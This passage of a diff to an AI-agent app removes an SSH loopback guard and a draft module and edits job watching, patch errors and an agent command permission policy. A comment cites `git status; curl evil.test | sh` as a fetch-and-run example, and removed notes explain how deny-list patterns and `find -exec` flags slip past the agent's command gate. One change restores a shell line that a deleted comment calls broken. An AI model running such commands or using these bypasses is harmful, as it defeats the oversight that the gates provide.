deciding *which machine to work on*, which is exactly when you want to look
|
||||
around it first.
|
||||
|
||||
A draft is the smallest thing that fixes that: an id, and the three facts the
|
||||
panels need behind it. It is not a chat and never becomes one -- when the first
|
||||
prompt is sent, a real chat is created and the draft's shell and tabs are
|
||||
**adopted** into it, which is a re-key and a copy rather than a promotion.
|
||||
|
||||
The id is derived from (owner, connection, directory) rather than invented, so
|
||||
that returning to the same new-chat screen finds the same shell and the same
|
||||
tabs instead of quietly starting a second one. It is a hash so that neither the
|
||||
directory nor the owner is legible in a URL.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import hashlib
|
||||
import time
|
||||
from dataclasses import dataclass, field
|
||||
from typing import Any
|
||||
|
||||
# How long a draft survives without being touched. Generous, because it is
|
||||
# holding somebody's open files while they decide what to do; bounded, because
|
||||
# nothing else will ever clean it up -- an abandoned new-chat screen leaves no
|
||||
# row to cascade from and no chat to delete.
|
||||
IDLE_TIMEOUT = 3600.0
|
||||
|
||||
# The prefix a draft id carries. It has to be distinguishable from a chat id at
|
||||
# a glance and by code: `Chat.id` is 32 hex characters from `new_id`, so
|
||||
# nothing here can collide with one by accident.
|
||||
PREFIX = "draft_"
|
||||
|
||||
|
||||
@dataclass
|
||||
class Draft:
|
||||
"""What a draft knows, which is only what the panels ask for."""
|
||||
|
||||
id: str
|
||||
owner_id: str
|
||||
profile_id: str
|
||||
project_dir: str
|
||||
# The canvas's tab strip, in the shape `Chat.canvas_json` holds. In memory
|
||||
# rather than on a row for the obvious reason, and carried onto the chat at
|
||||
# adoption.
|
||||
canvas_json: dict = field(default_factory=dict)
|
||||
touched_at: float = field(default_factory=time.monotonic)
|
||||
|
||||
|
||||
_DRAFTS: dict[str, Draft] = {}
|
||||
|
||||
|
||||
def is_draft(chat_id: str) -> bool:
|
||||
return bool(chat_id) and chat_id.startswith(PREFIX)
|
||||
|
||||
|
||||
def key_for(owner_id: str, profile_id: str, project_dir: str) -> str:
|
||||
"""The id for one (owner, connection, directory), stably.
|
||||
|
||||
Derived rather than random so that reopening the new-chat screen on the same
|
||||
target finds the shell that is already running there. The owner is in the
|
||||
hash so that two people pointed at the same directory of the same connection
|
||||
do not share a draft -- they would share a *shell*, and the terminal's own
|
||||
"one chat, one shell" rule is scoped to a person's chats.
|
||||
"""
|
||||
material = "\0".join((owner_id, profile_id, project_dir or ""))
|
||||
digest = hashlib.sha256(material.encode("utf-8")).hexdigest()
|
||||
return f"{PREFIX}{digest[:24]}"
|
||||
|
||||
|
||||
def remember(owner_id: str, profile_id: str, project_dir: str) -> Draft:
|
||||
"""The draft for this target, created if this is the first time."""
|
||||
_sweep()
|
||||
key = key_for(owner_id, profile_id, project_dir)
|
||||
draft = _DRAFTS.get(key)
|
||||
if draft is None:
|
||||
draft = Draft(
|
||||
id=key, owner_id=owner_id, profile_id=profile_id, project_dir=project_dir or ""
|
||||
)
|
||||
_DRAFTS[key] = draft
|
||||
draft.touched_at = time.monotonic()
|
||||
return draft
|
||||
|
||||
|
||||
def get(draft_id: str, owner_id: str) -> Draft | None:
|
||||
"""One draft, if it is this person's.
|
||||
|
||||
The id is a hash of the owner, so a draft belonging to somebody else cannot
|
||||
be guessed -- but it is checked rather than assumed, because "unguessable"
|
||||
is not an authorisation and the next caller might build the id differently.
|
||||
"""
|
||||
draft = _DRAFTS.get(draft_id or "")
|
||||
if draft is None or draft.owner_id != owner_id:
|
||||
return None
|
||||
draft.touched_at = time.monotonic()
|
||||
return draft
|
||||
|
||||
|
||||
def forget(draft_id: str) -> None:
|
||||
_DRAFTS.pop(draft_id or "", None)
|
||||
|
||||
|
||||
def clear() -> None:
|
||||
_DRAFTS.clear()
|
||||
|
||||
|
||||
def as_chat(draft: Draft) -> Any:
|
||||
"""A `Chat` the panels can use, constructed and never saved.
|
||||
|
||||
This is the whole trick, and it is worth being precise about why it is safe.
|
||||
`canvas.agent_ready`, `canvas._executor`, `_load_agent`/`_save_agent` and
|
||||
`agent_session.resolve` read exactly four things off a chat -- `user_id`,
|
||||
`kind`, `ssh_profile_id` and `project_dir` -- and none of them passes the
|
||||
chat to a query or writes it back. So a transient row satisfies every one of
|
||||
them unchanged, and no code that already works has to learn what a draft is.
|
||||
|
||||
`id` and `canvas_json` are set explicitly: both are *column* defaults, which
|
||||
SQLAlchemy applies at flush, and this row is never flushed. An unset `id` is
|
||||
not a cosmetic problem -- see `SOURCES_NEEDING_A_CHAT`.
|
||||
"""
|
||||
from lembas.db.models import KIND_AGENT, Chat
|
||||
|
||||
return Chat(
|
||||
id=draft.id,
|
||||
user_id=draft.owner_id,
|
||||
kind=KIND_AGENT,
|
||||
ssh_profile_id=draft.profile_id,
|
||||
project_dir=draft.project_dir,
|
||||
canvas_json=dict(draft.canvas_json or {}),
|
||||
agent_mode="",
|
||||
scope_json={},
|
||||
)
|
||||
|
||||
|
||||
# Canvas sources a draft may not open, refused by name.
|
||||
#
|
||||
# `scratch` needs a row: `scratch_service.for_chat` would write a `ScratchDoc`
|
||||
# keyed on a chat that does not exist, which is the lazy-creation rule broken
|
||||
# outright rather than bent.
|
||||
#
|
||||
# `file` is the one that matters. `canvas._load_file` authorises with
|
||||
# `attachment.chat_id != chat.id`, and an upload made on the new-chat screen is
|
||||
# stored with `chat_id=None`. If a draft's chat carried no id, `None != None` is
|
||||
# False and every unclaimed attachment its owner has would open from any draft
|
||||
# canvas. `as_chat` sets an id, so that comparison already fails -- but relying
|
||||
# on it would mean the guarantee lives in an id-shaped coincidence. It is stated
|
||||
# here instead, where it can be read and tested.
|
||||
SOURCES_NEEDING_A_CHAT = frozenset({"scratch", "file"})
|
||||
|
||||
|
||||
def refuses(source: str) -> bool:
|
||||
return source in SOURCES_NEEDING_A_CHAT
|
||||
|
||||
|
||||
def _sweep() -> None:
|
||||
"""Drop drafts nobody has touched in a long while.
|
||||
|
||||
On write rather than on a timer: a draft holds no connection and no process,
|
||||
only a little state, so there is nothing to close and nothing that leaks by
|
||||
being late. The shell it points at has its own reaper.
|
||||
"""
|
||||
cutoff = time.monotonic() - IDLE_TIMEOUT
|
||||
for key in [k for k, d in _DRAFTS.items() if d.touched_at < cutoff]:
|
||||
_DRAFTS.pop(key, None)
|
||||
|
||||
|
||||
__all__ = [
|
||||
"SOURCES_NEEDING_A_CHAT",
|
||||
"Draft",
|
||||
"as_chat",
|
||||
"clear",
|
||||
"forget",
|
||||
"get",
|
||||
"is_draft",
|
||||
"key_for",
|
||||
"refuses",
|
||||
"remember",
|
||||
]
|
||||
@@ -1,249 +0,0 @@
|
||||
"""Whether an SSH connection is allowed to point back at this machine.
|
||||
|
||||
The whole design of agent chats rests on one sentence: nothing runs on the host
|
||||
LLeMbas is installed on. That is why there is no local sandbox, why local MCP
|
||||
over stdio is absent, and why "the security of an agent chat is the security of
|
||||
the host behind its profile" is a statement anybody can check.
|
||||
|
||||
An SSH profile pointed at `127.0.0.1` walks straight past it. The commands go
|
||||
over SSH, through a real login, and every gate in `policy.py` still applies --
|
||||
and they land on the machine holding the database, the Fernet key and every
|
||||
other user's encrypted credentials. Nothing else in the codebase can tell that
|
||||
apart from a container on the network, because from the SSH layer's point of
|
||||
view it is not different.
|
||||
|
||||
So it is a decision an administrator makes deliberately, in one of three
|
||||
positions:
|
||||
|
||||
- **off** (the default, including on an instance upgrading into this) -- no
|
||||
connection may point at loopback, and one that already does is refused rather
|
||||
than quietly kept working.
|
||||
- **port** -- allowed on exactly one port. This is the position that has a real
|
||||
use: a container that publishes its SSH port on the host's loopback interface
|
||||
is genuinely somewhere else, and `127.0.0.1:2222` is how you reach it. Port 22
|
||||
is refused even here, because that is the host's own sshd.
|
||||
- **on** -- allowed anywhere. For somebody who has read the paragraph above and
|
||||
means it.
|
||||
|
||||
## Literal or resolved, and never resolved on the request path
|
||||
|
||||
Both are checked, at two different moments, and the split is not tidiness.
|
||||
|
||||
The literal forms -- `127.0.0.1`, `::1`, `localhost`, anything in
|
||||
`127.0.0.0/8` -- are decided from the string with no I/O at all. That is the
|
||||
check `refusal` makes, and it is why `refusal` can be called from a page render,
|
||||
from `resolve_tools` and from the composer's profile listing.
|
||||
|
||||
A *name* that resolves to loopback needs `getaddrinfo`, which is a blocking
|
||||
network call, and putting one of those behind a check that runs several times
|
||||
per request is how a page render comes to wait out a DNS timeout for a host
|
||||
nobody is even talking to. The first version of this file did exactly that and
|
||||
the test suite went from two minutes to not finishing. So resolution happens
|
||||
**only where a network call is already expected and already awaited** -- saving
|
||||
a connection, and pressing Check -- and the answer is written to
|
||||
`SshProfile.resolves_here`, which the request path reads for free.
|
||||
|
||||
The consequence, stated rather than discovered: a name whose DNS changes to
|
||||
point here after it was saved is not noticed until it is saved or checked again.
|
||||
That is a real gap and it is the right trade. The alternative is a DNS lookup in
|
||||
front of every agent page load, and a guard that makes the application feel
|
||||
broken is a guard somebody turns off.
|
||||
|
||||
A refusal is never silent. Every caller that has somewhere to put a sentence
|
||||
puts this one there, because "this connection cannot be used" with no reason is
|
||||
indistinguishable from a bug.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import ipaddress
|
||||
import logging
|
||||
import socket
|
||||
from typing import TYPE_CHECKING
|
||||
|
||||
if TYPE_CHECKING: # pragma: no cover - typing only
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.db.models import SshProfile
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
MODE_OFF = "off"
|
||||
MODE_PORT = "port"
|
||||
MODE_ON = "on"
|
||||
MODES = (MODE_OFF, MODE_PORT, MODE_ON)
|
||||
|
||||
MODE_LABELS = {
|
||||
MODE_OFF: "Never",
|
||||
MODE_PORT: "Only on one port",
|
||||
MODE_ON: "Anywhere",
|
||||
}
|
||||
MODE_HINTS = {
|
||||
MODE_OFF: (
|
||||
"A connection to this machine is refused, and an existing one stops "
|
||||
"working. This is what keeps “nothing runs on the LLeMbas host” true."
|
||||
),
|
||||
MODE_PORT: (
|
||||
"For a container that publishes its SSH port on this machine's loopback "
|
||||
"interface. Name that port; everything else here is still refused, and "
|
||||
"port 22 is refused regardless, because that one is this host's own sshd."
|
||||
),
|
||||
MODE_ON: (
|
||||
"Any port on this machine. Commands then run beside the database and the "
|
||||
"encryption key, with whatever the login account can reach."
|
||||
),
|
||||
}
|
||||
|
||||
# The host's own sshd, and never what somebody means by "the container on 2222".
|
||||
HOST_SSH_PORT = 22
|
||||
|
||||
|
||||
def _literal(host: str) -> bool | None:
|
||||
"""True/False when the host decides itself, None when it needs resolving."""
|
||||
text = (host or "").strip().strip("[]").lower()
|
||||
if not text:
|
||||
return False
|
||||
# Not a real hostname anywhere, and the one everybody types.
|
||||
if text in ("localhost", "localhost.localdomain", "ip6-localhost", "ip6-loopback"):
|
||||
return True
|
||||
try:
|
||||
address = ipaddress.ip_address(text)
|
||||
except ValueError:
|
||||
return None
|
||||
# `is_unspecified` as well as `is_loopback`, because `0.0.0.0` and `::` are
|
||||
# neither a real destination nor a refused one: connect() to either goes to
|
||||
# loopback on Linux, so an SSH profile pointed at `0.0.0.0` reached this
|
||||
# host's own sshd. `is_loopback` alone answered a decided **False**, which
|
||||
# also short-circuited `resolves_here`, so the DNS half never ran either --
|
||||
# the one spelling of "this machine" that walked past a guard whose whole
|
||||
# job is that sentence.
|
||||
return address.is_loopback or address.is_unspecified
|
||||
|
||||
|
||||
def is_loopback(host: str) -> bool:
|
||||
"""Whether this host *string* reaches the machine LLeMbas is running on.
|
||||
|
||||
No I/O, ever. A name is answered False here and settled by `resolves_here`
|
||||
at the two moments a lookup is affordable -- see the module docstring; the
|
||||
version of this that resolved inline made every agent page wait on DNS.
|
||||
"""
|
||||
return bool(_literal(host))
|
||||
|
||||
|
||||
def resolves_here(host: str) -> bool:
|
||||
"""The same question for a name, by resolving it. Blocking; call sparingly.
|
||||
|
||||
Resolution failure is answered **False**: a name that does not resolve is not
|
||||
a name pointing here, and refusing it would turn every DNS hiccup into "your
|
||||
connection is on this machine", which is both wrong and confusing. The
|
||||
connection itself will fail on its own terms a moment later.
|
||||
"""
|
||||
decided = _literal(host)
|
||||
if decided is not None:
|
||||
return decided
|
||||
|
||||
try:
|
||||
for entry in socket.getaddrinfo((host or "").strip().lower(), None):
|
||||
if _literal(str(entry[4][0])):
|
||||
return True
|
||||
except OSError:
|
||||
return False
|
||||
return False
|
||||
|
||||
|
||||
def policy(db: DBSession) -> tuple[str, int]:
|
||||
"""The configured position, and the port that goes with `port`."""
|
||||
from lembas.services import settings_store
|
||||
|
||||
values = settings_store.agents(db)
|
||||
mode = str(values.get("loopback") or MODE_OFF)
|
||||
if mode not in MODES:
|
||||
mode = MODE_OFF
|
||||
try:
|
||||
port = int(values.get("loopback_port") or 0)
|
||||
except (TypeError, ValueError):
|
||||
port = 0
|
||||
return mode, port
|
||||
|
||||
|
||||
def refusal(db: DBSession, host: str, port: int, *, resolved: bool = False) -> str:
|
||||
"""Why this host and port may not be used, or "" if they may.
|
||||
|
||||
A sentence rather than a boolean, because every caller has somewhere to show
|
||||
one and a connection that is unavailable for no stated reason reads as a
|
||||
fault in the application.
|
||||
|
||||
`resolved` is what a stored profile's `resolves_here` column carries in: the
|
||||
string said nothing, and a lookup made earlier said yes.
|
||||
"""
|
||||
if not (resolved or is_loopback(host)):
|
||||
return ""
|
||||
|
||||
mode, allowed = policy(db)
|
||||
if mode == MODE_ON:
|
||||
return ""
|
||||
if mode == MODE_PORT:
|
||||
if allowed and port == allowed and port != HOST_SSH_PORT:
|
||||
return ""
|
||||
if allowed:
|
||||
return (
|
||||
f"This connection points at this machine, which is only allowed "
|
||||
f"on port {allowed}. An administrator sets that on the Agents page."
|
||||
)
|
||||
return (
|
||||
"This connection points at this machine, which is allowed only on a "
|
||||
"port an administrator has named — and none has been."
|
||||
)
|
||||
return (
|
||||
"This connection points at the machine LLeMbas itself runs on, which an "
|
||||
"administrator has not allowed. Agent chats are meant to reach a "
|
||||
"different host; running here would put the commands beside the database "
|
||||
"and the encryption key."
|
||||
)
|
||||
|
||||
|
||||
def refusal_for(db: DBSession, profile: SshProfile | None) -> str:
|
||||
"""The same answer for a stored profile, with no lookup.
|
||||
|
||||
`resolves_here` is the verdict recorded the last time somebody saved or
|
||||
checked this connection. Reading it is what keeps this callable from a page
|
||||
render.
|
||||
"""
|
||||
if profile is None:
|
||||
return ""
|
||||
return refusal(
|
||||
db, profile.host, profile.port, resolved=bool(getattr(profile, "resolves_here", False))
|
||||
)
|
||||
|
||||
|
||||
def usable(db: DBSession, profile: SshProfile | None) -> bool:
|
||||
return not refusal_for(db, profile)
|
||||
|
||||
|
||||
def restamp(profile: SshProfile) -> bool:
|
||||
"""Record whether this profile's host resolves to loopback, and return it.
|
||||
|
||||
Called where a network call is already happening -- saving a connection, and
|
||||
Check. The column is the request path's only way of knowing about a *name*,
|
||||
so a save that skips this leaves the guard reading a stale answer.
|
||||
"""
|
||||
profile.resolves_here = resolves_here(profile.host)
|
||||
return profile.resolves_here
|
||||
|
||||
|
||||
__all__ = [
|
||||
"HOST_SSH_PORT",
|
||||
"MODES",
|
||||
"MODE_HINTS",
|
||||
"MODE_LABELS",
|
||||
"MODE_OFF",
|
||||
"MODE_ON",
|
||||
"MODE_PORT",
|
||||
"is_loopback",
|
||||
"policy",
|
||||
"refusal",
|
||||
"refusal_for",
|
||||
"resolves_here",
|
||||
"restamp",
|
||||
"usable",
|
||||
]
|
||||
@@ -42,10 +42,6 @@ import re
|
||||
import time
|
||||
import uuid
|
||||
from dataclasses import dataclass, field
|
||||
from datetime import UTC, datetime
|
||||
from typing import Any
|
||||
|
||||
from sqlalchemy import select
|
||||
|
||||
from lembas.services.agent.base import ExecError, ExecRequest, clean_output
|
||||
|
||||
@@ -73,6 +69,9 @@ LAUNCH_GRACE = 10.0
|
||||
_JOBS: dict[str, JobState] = {}
|
||||
# One watcher task per job being polled to completion.
|
||||
_WATCHERS: dict[str, asyncio.Task] = {}
|
||||
# One lock per chat, so two jobs finishing at once cannot each start a reply --
|
||||
# see `wake`.
|
||||
_WAKE_LOCKS: dict[str, asyncio.Lock] = {}
|
||||
|
||||
# Stop watching a job after this. The remote process may keep running; we simply
|
||||
# stop holding a watcher for it and mark it lost. A job that runs longer than
|
||||
@@ -180,12 +179,7 @@ def launch_and_wait_command(chat_id: str, job_id: str, command: str, max_bytes:
|
||||
f"tail -c {max_bytes} {logf} 2>/dev/null\n"
|
||||
f"printf '\\n{s}:'\n"
|
||||
f"cat {exit_} 2>/dev/null || printf LOST\n"
|
||||
# `logf`, not `log`. The module logger is a perfectly good f-string
|
||||
# operand and formats to "<Logger … (WARNING)>", whose angle brackets and
|
||||
# parentheses are shell syntax -- so this line died with a syntax error,
|
||||
# after the sentinel where nothing reads it, and every job's four files
|
||||
# were left on the far side forever. See the note in CLAUDE.md.
|
||||
f"rm -f {_file(chat_id, job_id, 'sh')} {pid} {logf} {exit_}\n"
|
||||
f"rm -f {_file(chat_id, job_id, 'sh')} {pid} {log} {exit_}\n"
|
||||
)
|
||||
|
||||
|
||||
@@ -351,148 +345,6 @@ def valid_id(job_id: str) -> bool:
|
||||
return bool(_ID.match(job_id or ""))
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class JobView:
|
||||
"""One job as a person sees it, rather than as the watcher tracks it.
|
||||
|
||||
Two sources, because neither is complete on its own. The `agent_jobs` row is
|
||||
what survives a restart and carries wall-clock times; `JobState` is what this
|
||||
process knows now, and it exists for a job whose row could not be written --
|
||||
`_persist_row` is best-effort by design, so a job with no row is still a job
|
||||
that is running.
|
||||
|
||||
Times are wall clock, from the row. `JobState.started_at` is
|
||||
`time.monotonic()`, which is right for measuring an interval inside one
|
||||
process and meaningless across a restart: `rehydrate` builds a fresh
|
||||
`JobState` whose clock starts at nought, so a job that had been running for
|
||||
three hours would report having started a moment ago.
|
||||
"""
|
||||
|
||||
id: str
|
||||
command: str
|
||||
status: str
|
||||
exit_status: int | None = None
|
||||
started_at: Any = None
|
||||
finished_at: Any = None
|
||||
|
||||
@property
|
||||
def running(self) -> bool:
|
||||
return self.status == "running"
|
||||
|
||||
@property
|
||||
def tone(self) -> str:
|
||||
"""What colour this job is, which is not the question `status` answers.
|
||||
|
||||
`done` is two outcomes. The row beside the dot already tells them apart
|
||||
in words -- "Finished" against "Failed, exit 2" -- so a dot keyed on the
|
||||
status would be green next to a sentence saying the opposite.
|
||||
|
||||
The *wording* stays in the template's if-chain rather than moving here
|
||||
beside the colour. Authored text belongs in the file somebody reads to
|
||||
change it, and saving one branch is not worth taking five phrases out of
|
||||
it; this is the half that cannot be said in a class name.
|
||||
"""
|
||||
if self.running:
|
||||
return "running"
|
||||
if self.status != "done":
|
||||
return self.status # killed, lost
|
||||
return "ok" if not self.exit_status else "failed"
|
||||
|
||||
@property
|
||||
def duration(self) -> str:
|
||||
"""How long it took, once it is over. Empty while it is still running.
|
||||
|
||||
Empty on purpose rather than for want of an answer. This panel is
|
||||
fetched when somebody opens it and is never polled -- the chip beside
|
||||
the composer is what refreshes on a timer -- so a live "running for
|
||||
2m 05s" would be stale the instant it painted and stay stale until the
|
||||
reader pressed something. The chip says something is still going; this
|
||||
says how long the finished ones took, which is true forever.
|
||||
|
||||
Both stamps are normalised before subtracting, for the reason
|
||||
`compaction.moment` normalises: SQLite stores no offset, so a row read
|
||||
back from disk is naive while one still in the session's identity map
|
||||
keeps its tzinfo, and subtracting one from the other raises. `moment`
|
||||
itself is not reused because it takes a `Message`, not a stamp.
|
||||
"""
|
||||
if self.running or self.started_at is None or self.finished_at is None:
|
||||
return ""
|
||||
seconds = (_aware(self.finished_at) - _aware(self.started_at)).total_seconds()
|
||||
return _short_duration(seconds) if seconds >= 0 else ""
|
||||
|
||||
|
||||
def _aware(stamp: datetime) -> datetime:
|
||||
"""A stamp that can be subtracted from another. See `JobView.duration`."""
|
||||
return stamp if stamp.tzinfo is not None else stamp.replace(tzinfo=UTC)
|
||||
|
||||
|
||||
def _short_duration(seconds: float) -> str:
|
||||
"""A wall-clock span, at the precision somebody reading a log cares about.
|
||||
|
||||
Deliberately not `steps._short_duration`. That one takes milliseconds, tops
|
||||
out at minutes and is tuned to a label repainting beside an animating word;
|
||||
a three-hour build through it reads `184m 12s`. This one is written for a
|
||||
span that can be hours and is only ever rendered once it is final.
|
||||
"""
|
||||
total = int(seconds)
|
||||
if total < 60:
|
||||
return f"{total}s"
|
||||
if total < 3600:
|
||||
return f"{total // 60}m {total % 60:02d}s"
|
||||
return f"{total // 3600}h {(total % 3600) // 60:02d}m"
|
||||
|
||||
|
||||
def listing(db, chat_id: str) -> list[JobView]:
|
||||
"""Every job this chat has, newest first.
|
||||
|
||||
Live state wins over the stored row where they disagree. They should not --
|
||||
`_record` writes the row as it updates the state -- but the row write is the
|
||||
half allowed to fail, so preferring the fresher of the two is what keeps a
|
||||
finished job from being shown as running for ever.
|
||||
"""
|
||||
from lembas.db.models import Job
|
||||
|
||||
live = {job.id: job for job in for_chat(chat_id)}
|
||||
views: list[JobView] = []
|
||||
seen: set[str] = set()
|
||||
|
||||
rows = db.scalars(
|
||||
select(Job).where(Job.chat_id == chat_id).order_by(Job.created_at.desc())
|
||||
)
|
||||
for row in rows:
|
||||
state = live.get(row.id)
|
||||
seen.add(row.id)
|
||||
views.append(
|
||||
JobView(
|
||||
id=row.id,
|
||||
command=row.command or "",
|
||||
status=state.status if state is not None else row.status,
|
||||
exit_status=state.exit_status if state is not None else row.exit_status,
|
||||
started_at=row.created_at,
|
||||
finished_at=row.finished_at,
|
||||
)
|
||||
)
|
||||
|
||||
# A job whose row never got written. It has no start time to show, which is
|
||||
# honest: nothing recorded one.
|
||||
for job in live.values():
|
||||
if job.id not in seen:
|
||||
views.insert(
|
||||
0,
|
||||
JobView(
|
||||
id=job.id,
|
||||
command=job.command,
|
||||
status=job.status,
|
||||
exit_status=job.exit_status,
|
||||
),
|
||||
)
|
||||
return views
|
||||
|
||||
|
||||
def running_count(db, chat_id: str) -> int:
|
||||
return sum(1 for view in listing(db, chat_id) if view.running)
|
||||
|
||||
|
||||
def _record(job_id: str, status: str, exit_status: int | None) -> None:
|
||||
job = _JOBS.get(job_id)
|
||||
if job is None or job.status != "running":
|
||||
@@ -513,6 +365,8 @@ def clear() -> None:
|
||||
# chat, a transient database hiccup) still runs and is still tracked in-process;
|
||||
# it just will not survive a restart, which is the row's only purpose.
|
||||
def _persist_row(job: JobState) -> None:
|
||||
from datetime import UTC, datetime
|
||||
|
||||
from lembas.db.models import Job
|
||||
from lembas.db.session import session_scope
|
||||
|
||||
@@ -612,6 +466,13 @@ async def _watch(
|
||||
|
||||
|
||||
# --- Waking the model ----------------------------------------------------------
|
||||
def _lock(chat_id: str) -> asyncio.Lock:
|
||||
lock = _WAKE_LOCKS.get(chat_id)
|
||||
if lock is None:
|
||||
lock = _WAKE_LOCKS[chat_id] = asyncio.Lock()
|
||||
return lock
|
||||
|
||||
|
||||
def _completion_text(
|
||||
job_id: str, command: str, status: str, exit_status: int | None, output: str
|
||||
) -> str:
|
||||
@@ -641,18 +502,41 @@ async def wake(
|
||||
`queued` for that reply's `_inject`/`_drain` to deliver; if the chat is idle,
|
||||
a fresh reply is started to answer it, the `send_queued_now` move.
|
||||
|
||||
The lock discipline that makes that safe lives in `services/wake.py`, which
|
||||
is the one copy of it -- schedules need the identical rule, and two lock
|
||||
dictionaries for one invariant is how one of them drifts. What stays here is
|
||||
the *wording*, because `tool.background` quotes `_completion_text`'s opening
|
||||
sentence to the model and rewording it would break that instruction with
|
||||
nothing anywhere to notice.
|
||||
"""
|
||||
from lembas.services import wake as wake_service
|
||||
The whole thing is under a per-chat lock, and there is no `await` between the
|
||||
running-check and starting the reply, so two jobs finishing at once cannot
|
||||
each spin up a generation -- the second sees the first's reply already live
|
||||
and leaves its completion for it. That is the invariant the queue exists to
|
||||
hold, reached here from outside a request.
|
||||
|
||||
await wake_service.wake_chat(
|
||||
chat_id, _completion_text(job_id, command, status, exit_status, output)
|
||||
The completion is a user-role turn whose *content* names itself a machine
|
||||
event -- `_inject` sends a queued turn verbatim, so the framing cannot live
|
||||
there; it lives in the words, the way `execute_plan` quotes the plan.
|
||||
"""
|
||||
from lembas.db.models import ROLE_ASSISTANT, ROLE_USER, Chat
|
||||
from lembas.db.session import session_scope
|
||||
from lembas.services import chat as chat_service
|
||||
from lembas.services import generation as generation_service
|
||||
|
||||
content = _completion_text(job_id, command, status, exit_status, output)
|
||||
async with _lock(chat_id):
|
||||
running = generation_service.running_for(chat_id) is not None
|
||||
assistant_id = ""
|
||||
try:
|
||||
with session_scope() as db:
|
||||
chat = db.get(Chat, chat_id)
|
||||
if chat is None:
|
||||
return
|
||||
chat_service.create_message(db, chat, ROLE_USER, content, queued=running)
|
||||
if not running:
|
||||
assistant = chat_service.create_message(
|
||||
db, chat, ROLE_ASSISTANT, "", complete_=False, model_id=chat.model_id
|
||||
)
|
||||
assistant_id = assistant.id
|
||||
except Exception: # noqa: BLE001 - a failed wake must not crash the watcher
|
||||
log.exception("could not wake chat %s for job %s", chat_id, job_id)
|
||||
return
|
||||
if assistant_id:
|
||||
generation_service.ensure(chat_id, assistant_id)
|
||||
|
||||
|
||||
# --- Rehydration and shutdown --------------------------------------------------
|
||||
|
||||
@@ -243,45 +243,18 @@ def _mismatch(number: int, hunk: Hunk, lines: list[str], hint: int, why: str) ->
|
||||
)
|
||||
|
||||
expected = next((line[1:] for line in hunk.lines if line[:1] in (" ", "-")), "")
|
||||
found = lines[hint] if 0 <= hint < len(lines) else "(past the end of the file)"
|
||||
return PatchError(
|
||||
f"Hunk {number} did not apply. It expects line {hint + 1} to be\n"
|
||||
f" {expected}\n"
|
||||
f"but the file has\n"
|
||||
f"{_around(lines, hint)}\n"
|
||||
f" {found}\n"
|
||||
f"and those lines are nowhere else nearby either. Nothing was written. "
|
||||
f"Send a patch whose context matches what is printed above.",
|
||||
f"Read the file again and send a patch that matches it.",
|
||||
hunk=number,
|
||||
)
|
||||
|
||||
|
||||
# How many lines either side of the hinted position to print back. Three, which
|
||||
# is what a patch carries as context, so a model can read its next attempt
|
||||
# straight off the message.
|
||||
MISMATCH_WINDOW = 3
|
||||
|
||||
|
||||
def _around(lines: list[str], hint: int) -> str:
|
||||
"""The file as it actually is, around where the hunk expected to land.
|
||||
|
||||
One line was not enough. A model whose line numbers are two out reads "the
|
||||
file has X", cannot see where X sits relative to what it wanted, and sends
|
||||
the identical patch again -- which is most of the retry loop this tool
|
||||
produces in practice. Numbered, because the numbers are what was wrong.
|
||||
"""
|
||||
if not lines:
|
||||
return " (the file is empty)"
|
||||
if hint >= len(lines):
|
||||
start = max(0, len(lines) - MISMATCH_WINDOW)
|
||||
shown = [f" {n + 1:>5} {lines[n]}" for n in range(start, len(lines))]
|
||||
return "\n".join([*shown, f" (the file ends at line {len(lines)})"])
|
||||
|
||||
start = max(0, hint - MISMATCH_WINDOW)
|
||||
end = min(len(lines), hint + MISMATCH_WINDOW + 1)
|
||||
return "\n".join(
|
||||
f"{'->' if n == hint else ' '} {n + 1:>5} {lines[n]}" for n in range(start, end)
|
||||
)
|
||||
|
||||
|
||||
def render(before: str, after: str, path: str, *, max_lines: int = 200) -> str:
|
||||
"""A unified diff of one change, for the transcript.
|
||||
|
||||
|
||||
@@ -86,62 +86,13 @@ POLICY: dict[str, dict[str, str]] = {
|
||||
MODE_PLAN: {RISK_READ: ALLOW, RISK_WRITE: ASK, RISK_EXECUTE: ASK},
|
||||
}
|
||||
|
||||
# A shell metacharacter makes a command line unmatchable, so no pattern may be
|
||||
# applied to it. Without this, `git *` in an allow list also matches
|
||||
# `git status; curl evil.test | sh`, which is the whole ballgame. That half is
|
||||
# absolute and is what this constant exists for.
|
||||
#
|
||||
# The deny list is the other half, and it has been decided both ways. There was
|
||||
# once a rule that an unmatchable line ASKed whenever a deny list existed at
|
||||
# all, on the grounds that `shutdown -h now` asked while `shutdown -h now &`
|
||||
# ran. It is gone: the shipped deny list is non-empty, so that rule made *every*
|
||||
# compound command ask in Auto -- `cd build && make`, `pytest | tail`, anything
|
||||
# with a pipe -- and a mode whose whole purpose is not asking asked about most
|
||||
# real commands. It was not a security control anybody experienced as one; it
|
||||
# was Auto appearing not to work.
|
||||
#
|
||||
# So an unmatchable line now falls through to the mode, and in Auto the mode is
|
||||
# ALLOW. What that gives up, plainly: a deny pattern can be walked past with a
|
||||
# trailing `&`, a `;` or a pipe. Auto is the only mode where this is reachable,
|
||||
# because Manual, Edit and Plan all ASK on RISK_EXECUTE regardless. The allow
|
||||
# list is untouched by the change and still cannot be matched at all.
|
||||
#
|
||||
# The upgrade that would restore both properties is to split a composed line on
|
||||
# these metacharacters and check every segment against the deny list only. It is
|
||||
# confined to `decide` and is worth doing; it is not done here.
|
||||
# A shell metacharacter makes a command line unmatchable, so it falls through to
|
||||
# the mode's own verdict rather than to an allow-list entry. Without this,
|
||||
# `git *` in an allow list also matches `git status; curl evil.test | sh`, which
|
||||
# is the whole ballgame. A deny list needs no such rule: failing open there
|
||||
# returns you to the mode, while failing open on an allow list runs the command.
|
||||
_UNSAFE = re.compile(r"[;&|<>`$\n\\()]")
|
||||
|
||||
# Flags that turn a "read-only" command into one that writes or executes, on
|
||||
# tools whose *name* is on somebody's allow list.
|
||||
#
|
||||
# `_UNSAFE` stops a command line being composed out of two commands. It does
|
||||
# nothing about a single command that composes one itself, and several of the
|
||||
# obvious read-only tools do: `find -exec cmd +` runs a program, `-fprintf`
|
||||
# writes a file, `-delete` removes one, and `rg --pre` runs a preprocessor for
|
||||
# every file it opens. None of those needs a character `_UNSAFE` refuses, so
|
||||
# `find *` on an allow list -- which is what a subagent gets, in every mode --
|
||||
